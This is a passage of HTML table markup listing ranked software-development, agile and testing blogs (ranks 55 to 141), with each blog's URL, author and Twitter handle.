Davidson</td>\n<td valign=\"top\"><a href=\"http://twitter.com/neildavidson\">neildavidson</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>55</strong></td>\n<td align=\"center\" valign=\"top\">&#8212;</td>\n<td valign=\"top\"><a href=\"http://graysmatter.codivation.com/\">Gray&#8217;s Matter</a></td>\n<td valign=\"top\">Justice Gray</td>\n<td valign=\"top\"> </td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>56</strong></td>\n<td align=\"center\" valign=\"top\">105</td>\n<td valign=\"top\"><a href=\"http://www.leadingagile.com/\">Leading Agile</a></td>\n<td valign=\"top\">Mike Cottmeyer</td>\n<td valign=\"top\"><a href=\"http://twitter.com/mcottmeyer\">mcottmeyer</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>57</strong></td>\n<td align=\"center\" valign=\"top\">55</td>\n<td valign=\"top\"><a href=\"http://jeffblankenburg.com/default.aspx\">Blankenthoughts</a></td>\n<td valign=\"top\">Jeff Blankenburg</td>\n<td valign=\"top\"><a href=\"http://twitter.com/jblankenburg\">jblankenburg</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>58</strong></td>\n<td align=\"center\" valign=\"top\">&#8212;</td>\n<td valign=\"top\"><a href=\"http://www.threeriversinstitute.org/blog/\">JUnit Max</a></td>\n<td valign=\"top\">Kent Beck</td>\n<td valign=\"top\"><a href=\"http://twitter.com/kentbeck\">kentbeck</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>59</strong></td>\n<td align=\"center\" valign=\"top\">43</td>\n<td valign=\"top\"><a href=\"http://agilesoftwaredevelopment.com/\">Agile Software Development</a></td>\n<td valign=\"top\">(various)</td>\n<td valign=\"top\"><a href=\"http://twitter.com/agileartem\">agileartem</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>60</strong></td>\n<td align=\"center\" valign=\"top\">32</td>\n<td valign=\"top\"><a href=\"http://forums.construx.com/blogs/stevemcc/default.aspx\">10x Software Development</a></td>\n<td valign=\"top\">Steve McConnell</td>\n<td valign=\"top\"> </td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>61</strong></td>\n<td align=\"center\" valign=\"top\">51</td>\n<td valign=\"top\"><a href=\"http://blog.thinkrelevance.com/\">Relevance Blog</a></td>\n<td valign=\"top\">(various)</td>\n<td valign=\"top\"> </td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>62</strong></td>\n<td align=\"center\" valign=\"top\">113</td>\n<td valign=\"top\"><a href=\"http://www.markhneedham.com/blog/\">Mark Needham</a></td>\n<td valign=\"top\">Mark Needham</td>\n<td valign=\"top\"><a href=\"http://twitter.com/markhneedham\">markhneedham</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>63</strong></td>\n<td align=\"center\" valign=\"top\">78</td>\n<td valign=\"top\"><a href=\"http://blogs.msdn.com/micahel/\">The Braidy Tester</a></td>\n<td valign=\"top\">Micahel</td>\n<td valign=\"top\"> </td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>64</strong></td>\n<td align=\"center\" valign=\"top\">65</td>\n<td valign=\"top\"><a href=\"http://herdingcats.typepad.com/\">Herding Cats</a></td>\n<td valign=\"top\">Glen Alleman</td>\n<td valign=\"top\"> </td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>65</strong></td>\n<td align=\"center\" valign=\"top\">76</td>\n<td valign=\"top\"><a href=\"http://www.chrisspagnuolo.com/\">Chris Spagnuolo&#8217;s EdgeHopper</a></td>\n<td valign=\"top\">Chris Spagnuolo</td>\n<td valign=\"top\"><a href=\"http://twitter.com/chrisspagnuolo\">chrisspagnuolo</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>66</strong></td>\n<td align=\"center\" valign=\"top\">63</td>\n<td valign=\"top\"><a href=\"http://blog.toolshed.com/\">/\\ndy</a></td>\n<td valign=\"top\">Andy Hunt</td>\n<td valign=\"top\"><a href=\"http://twitter.com/pragmaticandy\">pragmaticandy</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>67</strong></td>\n<td align=\"center\" valign=\"top\">61</td>\n<td valign=\"top\"><a href=\"http://leansoftwareengineering.com/\">Lean Software Engineering</a></td>\n<td valign=\"top\">Corey Ladas</td>\n<td valign=\"top\"><a href=\"http://twitter.com/corey_ladas\">corey_ladas</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>68</strong></td>\n<td align=\"center\" valign=\"top\">83</td>\n<td valign=\"top\"><a href=\"http://infozerk.com/averyblog/\">averyBlog</a></td>\n<td valign=\"top\">James Avery</td>\n<td valign=\"top\"><a href=\"http://twitter.com/averyj\">averyj</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>69</strong></td>\n<td align=\"center\" valign=\"top\">89</td>\n<td valign=\"top\"><a href=\"http://xndev.blogspot.com/\">Creative Chaos</a></td>\n<td valign=\"top\">Matthew Heusser</td>\n<td valign=\"top\"><a href=\"http://twitter.com/mheusser\">mheusser</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>70</strong></td>\n<td align=\"center\" valign=\"top\">41</td>\n<td valign=\"top\"><a href=\"http://agiletesting.blogspot.com/\">Agile Testing</a></td>\n<td valign=\"top\">Grig Gheorghiu</td>\n<td valign=\"top\"> </td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>71</strong></td>\n<td align=\"center\" valign=\"top\">53</td>\n<td valign=\"top\"><a href=\"http://jamesshore.com/Blog/\">James Shore: The Art of Agile</a></td>\n<td valign=\"top\">James Shore</td>\n<td valign=\"top\"><a href=\"http://twitter.com/jamesshore\">jamesshore</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>72</strong></td>\n<td align=\"center\" valign=\"top\">125</td>\n<td valign=\"top\"><a href=\"http://www.rallydev.com/agileblog/\">Agile Blog</a></td>\n<td valign=\"top\">(various)</td>\n<td valign=\"top\"> </td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>73</strong></td>\n<td align=\"center\" valign=\"top\">110</td>\n<td valign=\"top\"><a href=\"http://www.agileadvice.com/\">Agile Advice</a></td>\n<td valign=\"top\">(various)</td>\n<td valign=\"top\"> </td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>74</strong></td>\n<td align=\"center\" valign=\"top\">23</td>\n<td valign=\"top\"><a href=\"http://blog.mountaingoatsoftware.com/\">Mike Cohn&#8217;s Blog: Succeeding with Agile</a></td>\n<td valign=\"top\">Mike Cohn</td>\n<td valign=\"top\"> </td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>75</strong></td>\n<td align=\"center\" valign=\"top\">88</td>\n<td valign=\"top\"><a href=\"http://www.agiledeveloper.com/blog/\">Agile Developer Venkat&#8217;s Blog</a></td>\n<td valign=\"top\">Venkat Subramaniam</td>\n<td valign=\"top\"><a href=\"http://twitter.com/venkat_s\">venkat_s</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>76</strong></td>\n<td align=\"center\" valign=\"top\">74</td>\n<td valign=\"top\"><a href=\"http://memeagora.blogspot.com/\">Meme Agora</a></td>\n<td valign=\"top\">Neal Ford</td>\n<td valign=\"top\"><a href=\"http://twitter.com/neal4d\">neal4d</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>77</strong></td>\n<td align=\"center\" valign=\"top\">67</td>\n<td valign=\"top\"><a href=\"http://jeffsutherland.com/\">Object Technology</a></td>\n<td valign=\"top\">Jeff Sutherland</td>\n<td valign=\"top\"><a href=\"http://twitter.com/jeffsutherland\">jeffsutherland</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>78</strong></td>\n<td align=\"center\" valign=\"top\">38</td>\n<td valign=\"top\"><a href=\"http://stevenharman.net/blog/\">StevenHarman.net</a></td>\n<td valign=\"top\">Steven Harman</td>\n<td valign=\"top\"><a href=\"http://twitter.com/stevenharman\">stevenharman</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>79</strong></td>\n<td align=\"center\" valign=\"top\">68</td>\n<td valign=\"top\"><a href=\"http://www.implementingscrum.com/\">Implementing Scrum</a></td>\n<td valign=\"top\">Mike Vizdos</td>\n<td valign=\"top\"><a href=\"http://twitter.com/mvizdos\">mvizdos</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>80</strong></td>\n<td align=\"center\" valign=\"top\">100</td>\n<td valign=\"top\"><a href=\"http://www.ravensbrain.com/\">Raven&#8217;s Brain</a></td>\n<td valign=\"top\">Raven Young</td>\n<td valign=\"top\"><a href=\"http://twitter.com/ravenyoung\">ravenyoung</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>81</strong></td>\n<td align=\"center\" valign=\"top\">121</td>\n<td valign=\"top\"><a href=\"http://community.zdnet.co.uk/blog/0,1000000567,2000458459b,00.htm\">Software application development</a></td>\n<td valign=\"top\">Adrian Bridgwater</td>\n<td valign=\"top\"><a href=\"http://twitter.com/abridgwater\">abridgwater</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>82</strong></td>\n<td align=\"center\" valign=\"top\">145</td>\n<td valign=\"top\"><a href=\"http://www.codeodor.com/\">My Secret Life as a Spaghetti Coder</a></td>\n<td valign=\"top\">Sammy Larbi</td>\n<td valign=\"top\"><a href=\"http://twitter.com/codeodor\">codeodor</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>83</strong></td>\n<td align=\"center\" valign=\"top\">70</td>\n<td valign=\"top\"><a href=\"http://bit-player.org/\">Bit-Player</a></td>\n<td valign=\"top\">Brian Hayes</td>\n<td valign=\"top\"> </td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>84</strong></td>\n<td align=\"center\" valign=\"top\">77</td>\n<td valign=\"top\"><a href=\"http://ourfounder.typepad.com/\">Evolving Web</a></td>\n<td valign=\"top\">Jim Benson</td>\n<td valign=\"top\"><a href=\"http://twitter.com/ourfounder\">ourfounder</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>85</strong></td>\n<td align=\"center\" valign=\"top\">71</td>\n<td valign=\"top\"><a href=\"http://mendicantbug.com/\">The Mendicant Bug</a></td>\n<td valign=\"top\">Jason Adams</td>\n<td valign=\"top\"><a href=\"http://twitter.com/ealdent\">ealdent</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>86</strong></td>\n<td align=\"center\" valign=\"top\">94</td>\n<td valign=\"top\"><a href=\"http://management.curiouscatblog.net/\">Curious Cat</a></td>\n<td valign=\"top\">John Hunter</td>\n<td valign=\"top\"><a href=\"http://twitter.com/curiouscat_com\">curiouscat_com</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>87</strong></td>\n<td align=\"center\" valign=\"top\">49</td>\n<td valign=\"top\"><a href=\"http://www.codingthearchitecture.com/\">Coding the Architecture</a></td>\n<td valign=\"top\">(various)</td>\n<td valign=\"top\"> </td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>88</strong></td>\n<td align=\"center\" valign=\"top\">40</td>\n<td valign=\"top\"><a href=\"http://www.softwarebyrob.com/\">Software by Rob</a></td>\n<td valign=\"top\">Rob Walling</td>\n<td valign=\"top\"> </td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>89</strong></td>\n<td align=\"center\" valign=\"top\">44</td>\n<td valign=\"top\"><a href=\"http://tynerblain.com/blog/\">Tyner Blain</a></td>\n<td valign=\"top\">Scott Sehlhorst</td>\n<td valign=\"top\"><a href=\"http://twitter.com/sehlhorst\">sehlhorst</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>90</strong></td>\n<td align=\"center\" valign=\"top\">64</td>\n<td valign=\"top\"><a href=\"http://www.agile-software-development.com/\">All About Agile</a></td>\n<td valign=\"top\">Kelly Waters</td>\n<td valign=\"top\"><a href=\"http://twitter.com/allaboutagile\">allaboutagile</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>91</strong></td>\n<td align=\"center\" valign=\"top\">42</td>\n<td valign=\"top\"><a href=\"http://alistair.cockburn.us/Blog\">Alistair Cockburn</a></td>\n<td valign=\"top\">Alistair Cockburn</td>\n<td valign=\"top\"><a href=\"http://twitter.com/theotheralistai\">theotheralistai</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>92</strong></td>\n<td align=\"center\" valign=\"top\">115</td>\n<td valign=\"top\"><a href=\"http://www.estherderby.com/weblog/blogger.html\">Insights You Can Use</a></td>\n<td valign=\"top\">Esther Derby</td>\n<td valign=\"top\"><a href=\"http://twitter.com/estherderby\">estherderby</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>93</strong></td>\n<td align=\"center\" valign=\"top\">99</td>\n<td valign=\"top\"><a href=\"http://www.clarkeching.com/\">Clarke Ching &#8211; More Chilli Please</a></td>\n<td valign=\"top\">Clarke Ching</td>\n<td valign=\"top\"><a href=\"http://twitter.com/clarkeching\">clarkeching</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>94</strong></td>\n<td align=\"center\" valign=\"top\">80</td>\n<td valign=\"top\"><a href=\"http://blog.cutter.com/\">The Cutter Blog</a></td>\n<td valign=\"top\">(various)</td>\n<td valign=\"top\"><a href=\"http://twitter.com/cuttertweets\">cuttertweets</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>95</strong></td>\n<td align=\"center\" valign=\"top\">102</td>\n<td valign=\"top\"><a href=\"http://www.io.com/~wazmo/blog/\">Testing Hotlist Update</a></td>\n<td valign=\"top\">Bret Pettichord</td>\n<td valign=\"top\"><a href=\"http://twitter.com/bpettichord\">bpettichord</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>96</strong></td>\n<td align=\"center\" valign=\"top\">82</td>\n<td valign=\"top\"><a href=\"http://testobsessed.com/\">Test Obsessed</a></td>\n<td valign=\"top\">Elisabeth Hendrickson</td>\n<td valign=\"top\"><a href=\"http://twitter.com/testobsessed\">testobsessed</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>97</strong></td>\n<td align=\"center\" valign=\"top\">&#8212;</td>\n<td valign=\"top\"><a href=\"http://www.satisfice.com/kaner/\">Cem Kaner&#8217;s Blog</a></td>\n<td valign=\"top\">Cem Kaner</td>\n<td valign=\"top\"> </td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>98</strong></td>\n<td align=\"center\" valign=\"top\">143</td>\n<td valign=\"top\"><a href=\"http://www.targetprocess.com/blog/\">Edge of Chaos</a></td>\n<td valign=\"top\">Michael Dubakov</td>\n<td valign=\"top\"><a href=\"http://twitter.com/mdubakov\">mdubakov</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>99</strong></td>\n<td align=\"center\" valign=\"top\">87</td>\n<td valign=\"top\"><a href=\"http://www.charlespetzold.com/blog/blog.xml\">Petzold Book Blog</a></td>\n<td valign=\"top\">Charles Petzold</td>\n<td valign=\"top\"> </td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>100</strong></td>\n<td align=\"center\" valign=\"top\">104</td>\n<td valign=\"top\"><a href=\"http://www.ibm.com/developerworks/blogs/page/ambler\">Agility@Scale</a></td>\n<td valign=\"top\">Scott W. Ambler</td>\n<td valign=\"top\"> </td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>101</strong></td>\n<td align=\"center\" valign=\"top\">175</td>\n<td valign=\"top\"><a href=\"http://theworkinggeek.com/\">The Working Geek</a></td>\n<td valign=\"top\">Andy Lester</td>\n<td valign=\"top\"><a href=\"http://twitter.com/petdance\">petdance</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>102</strong></td>\n<td align=\"center\" valign=\"top\">98</td>\n<td valign=\"top\"><a href=\"http://www.lazycoder.com/weblog/\">Lazycoder</a></td>\n<td valign=\"top\">Scott Koon</td>\n<td valign=\"top\"><a href=\"http://twitter.com/lazycoder\">lazycoder</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>103</strong></td>\n<td align=\"center\" valign=\"top\">119</td>\n<td valign=\"top\"><a href=\"http://jchyip.blogspot.com/\">You&#8217;d think with all my video game experience&#8230;</a></td>\n<td valign=\"top\">Jason Yip</td>\n<td valign=\"top\"><a href=\"http://twitter.com/jchyip\">jchyip</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>104</strong></td>\n<td align=\"center\" valign=\"top\">168</td>\n<td valign=\"top\"><a href=\"http://parlezuml.com/blog/\">Agile Software Process Improvement</a></td>\n<td valign=\"top\">Jason Gorman</td>\n<td valign=\"top\"><a href=\"http://twitter.com/jasongorman\">jasongorman</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>105</strong></td>\n<td align=\"center\" valign=\"top\">101</td>\n<td valign=\"top\"><a href=\"http://debasishg.blogspot.com/\">Ruminations of a Programmer</a></td>\n<td valign=\"top\">Debasish Ghosh</td>\n<td valign=\"top\"><a href=\"http://twitter.com/debasishg\">debasishg</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>106</strong></td>\n<td align=\"center\" valign=\"top\">132</td>\n<td valign=\"top\"><a href=\"http://blog.martinig.ch/\">From the Editor of Methods &amp; Tools</a></td>\n<td valign=\"top\">Martinig</td>\n<td valign=\"top\"> </td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>107</strong></td>\n<td align=\"center\" valign=\"top\">72</td>\n<td valign=\"top\"><a href=\"http://blog.brodzinski.com/\">Software Project Management</a></td>\n<td valign=\"top\">Pawel Brodzinski</td>\n<td valign=\"top\"><a href=\"http://twitter.com/pawelbrodzinski\">pawelbrodzinski</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>108</strong></td>\n<td align=\"center\" valign=\"top\">90</td>\n<td valign=\"top\"><a href=\"http://www.moserware.com/\">Moserware</a></td>\n<td valign=\"top\">Jeff Moser</td>\n<td valign=\"top\"><a href=\"http://twitter.com/jeffmoser\">jeffmoser</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>109</strong></td>\n<td align=\"center\" valign=\"top\">109</td>\n<td valign=\"top\"><a href=\"http://www.developsense.com/blog.html\">DevelopSense Blog</a></td>\n<td valign=\"top\">Michael Bolton</td>\n<td valign=\"top\"><a href=\"http://twitter.com/michaelbolton\">michaelbolton</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>110</strong></td>\n<td align=\"center\" valign=\"top\">92</td>\n<td valign=\"top\"><a href=\"http://www.kohl.ca/blog/\">Collaborative Software Testing</a></td>\n<td valign=\"top\">Jonathan Kohl</td>\n<td valign=\"top\"> </td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>111</strong></td>\n<td align=\"center\" valign=\"top\">130</td>\n<td valign=\"top\"><a href=\"http://adam.goucher.ca/\">Quality through Innovation</a></td>\n<td valign=\"top\">Adam Goucher</td>\n<td valign=\"top\"><a href=\"http://twitter.com/adamgoucher\">adamgoucher</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>112</strong></td>\n<td align=\"center\" valign=\"top\">107</td>\n<td valign=\"top\"><a href=\"http://crazeegeekchick.com/\">Crazeegeekchick.com</a></td>\n<td valign=\"top\">Dana Coffey</td>\n<td valign=\"top\"><a href=\"http://twitter.com/crazeegeekchick\">crazeegeekchick</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>113</strong></td>\n<td align=\"center\" valign=\"top\">160</td>\n<td valign=\"top\"><a href=\"http://faler.wordpress.com/\">Wille Faler&#8217;s Buzzword Bingo</a></td>\n<td valign=\"top\">Wille Faler</td>\n<td valign=\"top\"><a href=\"http://twitter.com/wfaler\">wfaler</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>114</strong></td>\n<td align=\"center\" valign=\"top\">126</td>\n<td valign=\"top\"><a href=\"http://blog.davidyack.com/\">MrDave&#8217;s (David Yack) Blog!</a></td>\n<td valign=\"top\">David Yack</td>\n<td valign=\"top\"><a href=\"http://twitter.com/davidyack\">davidyack</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>115</strong></td>\n<td align=\"center\" valign=\"top\">118</td>\n<td valign=\"top\"><a href=\"http://scalingsoftwareagility.wordpress.com/\">Scaling Software Agility</a></td>\n<td valign=\"top\">Dean Leffingwell</td>\n<td valign=\"top\"> </td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>116</strong></td>\n<td align=\"center\" valign=\"top\">96</td>\n<td valign=\"top\"><a href=\"http://leadinganswers.typepad.com/\">LeadingAnswers</a></td>\n<td valign=\"top\">Mike Griffiths</td>\n<td valign=\"top\"> </td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>117</strong></td>\n<td align=\"center\" valign=\"top\">166</td>\n<td valign=\"top\"><a href=\"http://www.testingreflections.com/blog/2\">Antony Marcano&#8217;s Blog</a></td>\n<td valign=\"top\">Antony Marcano</td>\n<td valign=\"top\"> </td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>118</strong></td>\n<td align=\"center\" valign=\"top\">85</td>\n<td valign=\"top\"><a href=\"http://www.michaelnygard.com/blog/\">Wide Awake Developers</a></td>\n<td valign=\"top\">Michael Nygard</td>\n<td valign=\"top\"><a href=\"http://twitter.com/mtnygard\">mtnygard</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>119</strong></td>\n<td align=\"center\" valign=\"top\">137</td>\n<td valign=\"top\"><a href=\"http://dnicolet1.tripod.com/agile/\">Effective Software Development</a></td>\n<td valign=\"top\">Dave Nicolette</td>\n<td valign=\"top\"><a href=\"http://twitter.com/davenicolette\">davenicolette</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>120</strong></td>\n<td align=\"center\" valign=\"top\">95</td>\n<td valign=\"top\"><a href=\"http://www.yourdonreport.com/\">Yourdon Report</a></td>\n<td valign=\"top\">Ed Yourdon</td>\n<td valign=\"top\"><a href=\"http://twitter.com/yourdon\">yourdon</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>121</strong></td>\n<td align=\"center\" valign=\"top\">26</td>\n<td valign=\"top\"><a href=\"http://www.catonmat.net/\">Good coders code, great reuse</a></td>\n<td valign=\"top\">Peteris Krumins</td>\n<td valign=\"top\"><a href=\"http://twitter.com/pkrumins\">pkrumins</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>122</strong></td>\n<td align=\"center\" valign=\"top\">171</td>\n<td valign=\"top\"><a href=\"http://www.jbrains.ca/blog\">Jbrains.ca</a></td>\n<td valign=\"top\">J.B. Rainsberger</td>\n<td valign=\"top\"><a href=\"http://twitter.com/jbrains\">jbrains</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>123</strong></td>\n<td align=\"center\" valign=\"top\">79</td>\n<td valign=\"top\"><a href=\"http://testertested.blogspot.com/\">Tester Tested!</a></td>\n<td colspan=\"2\" valign=\"top\">Pradeep Soundararajan</td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>124</strong></td>\n<td align=\"center\" valign=\"top\">91</td>\n<td valign=\"top\"><a href=\"http://www.codemonkeyism.com/\">Codemonkeyism</a></td>\n<td valign=\"top\">Stephan Schmidt</td>\n<td valign=\"top\"><a href=\"http://twitter.com/codemonkeyism\">codemonkeyism</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>125</strong></td>\n<td align=\"center\" valign=\"top\">&#8212;</td>\n<td valign=\"top\"><a href=\"http://www.cornetdesign.com/\">Corey Foy</a></td>\n<td valign=\"top\">Corey Foy</td>\n<td valign=\"top\"><a href=\"http://twitter.com/cory_foy\">cory_foy</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>126</strong></td>\n<td align=\"center\" valign=\"top\">146</td>\n<td valign=\"top\"><a href=\"http://www.wrike.com/projectmanagement.htm\">Project Management 2.0</a></td>\n<td valign=\"top\">Andrew Filev</td>\n<td valign=\"top\"><a href=\"https://twitter.com/andrewsthoughts\">andrewsthoughts</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>127</strong></td>\n<td align=\"center\" valign=\"top\">149</td>\n<td valign=\"top\"><a href=\"http://www.thoughtclusters.com/\">Thought Clusters</a></td>\n<td valign=\"top\">Krishna Kumar</td>\n<td valign=\"top\"><a href=\"http://twitter.com/krishami\">krishami</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>128</strong></td>\n<td align=\"center\" valign=\"top\">111</td>\n<td valign=\"top\"><a href=\"http://www.focusedperformance.com/blogger.html\">Focused Performance</a></td>\n<td valign=\"top\">Frank Patrick</td>\n<td valign=\"top\"><a href=\"http://twitter.com/fpatrick\">fpatrick</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>129</strong></td>\n<td align=\"center\" valign=\"top\">182</td>\n<td valign=\"top\"><a href=\"http://availagility.wordpress.com/\">AvailAgility</a></td>\n<td valign=\"top\">Karl Scotland</td>\n<td valign=\"top\"><a href=\"http://twitter.com/kjscotland\">kjscotland</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>130</strong></td>\n<td align=\"center\" valign=\"top\">75</td>\n<td valign=\"top\"><a href=\"http://wordaligned.org/\">Word Aligned</a></td>\n<td valign=\"top\">Thomas Guest</td>\n<td valign=\"top\"><a href=\"http://twitter.com/thomasguest\">thomasguest</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>131</strong></td>\n<td align=\"center\" valign=\"top\">86</td>\n<td valign=\"top\"><a href=\"http://www.notesfromatooluser.com/\">Notes from a Tool User</a></td>\n<td valign=\"top\">Mark Levison</td>\n<td valign=\"top\"><a href=\"http://twitter.com/mlevison\">mlevison</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>132</strong></td>\n<td align=\"center\" valign=\"top\">140</td>\n<td valign=\"top\"><a href=\"http://www.techdarkside.com/\">Information Technology Dark Side</a></td>\n<td valign=\"top\">David Christiansen</td>\n<td valign=\"top\"><a href=\"http://twitter.com/aldos\">aldos</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>133</strong></td>\n<td align=\"center\" valign=\"top\">135</td>\n<td valign=\"top\"><a href=\"http://blog.versionone.net/\">Agile Chronicles</a></td>\n<td valign=\"top\">(various)</td>\n<td valign=\"top\"> </td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>134</strong></td>\n<td align=\"center\" valign=\"top\">93</td>\n<td valign=\"top\"><a href=\"http://agileproductdesign.com/blog/\">Jeff Patton&#8217;s Holistic Product Design &amp; Development</a></td>\n<td valign=\"top\">Jeff Patton</td>\n<td valign=\"top\"><a href=\"http://twitter.com/jeffpatton\">jeffpatton</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>135</strong></td>\n<td align=\"center\" valign=\"top\">128</td>\n<td valign=\"top\"><a href=\"http://blogs.msdn.com/eric_brechner/\">I.M. Wright’s “Hard Code”</a></td>\n<td valign=\"top\">Eric Brechner</td>\n<td valign=\"top\"> </td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>136</strong></td>\n<td align=\"center\" valign=\"top\">173</td>\n<td valign=\"top\"><a href=\"http://shapingsoftware.com/\">Shaping Software</a></td>\n<td valign=\"top\">J.D. Meier</td>\n<td valign=\"top\"> </td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>137</strong></td>\n<td align=\"center\" valign=\"top\">139</td>\n<td valign=\"top\"><a href=\"http://it.toolbox.com/blogs/madgreek/\">Enterprise Architecture &amp; Other Enterprise Topics</a></td>\n<td valign=\"top\">Mike Kavis</td>\n<td valign=\"top\"><a href=\"http://twitter.com/madgreek65\">madgreek65</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>138</strong></td>\n<td align=\"center\" valign=\"top\">56</td>\n<td valign=\"top\"><a href=\"http://blog.davidchelimsky.net/\">David Chelimsky</a></td>\n<td valign=\"top\">David Chelimsky</td>\n<td valign=\"top\"><a href=\"http://twitter.com/dchelimsky\">dchelimsky</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>139</strong></td>\n<td align=\"center\" valign=\"top\">144</td>\n<td valign=\"top\"><a href=\"http://blog.dhananjaynene.com/\">/var/log/mind</a></td>\n<td valign=\"top\">Dhananjay Nene</td>\n<td valign=\"top\"><a href=\"http://twitter.com/dnene\">dnene</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>140</strong></td>\n<td align=\"center\" valign=\"top\">158</td>\n<td valign=\"top\"><a href=\"http://blog.scottbellware.com/\">Scott Bellware</a></td>\n<td valign=\"top\">Scott Bellware</td>\n<td valign=\"top\"><a href=\"http://twitter.com/bellware\">bellware</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>141</strong></td>\n<td align=\"center\" valign=\"top\">&#8212;</td>\n<td valign=\"top\"><a href=\"http://peripateticaxiom.blogspot.com/\">Peripatetic Axiom</a></td>\n<td valign=\"top\">Keith Braithwaite</td>\n<td 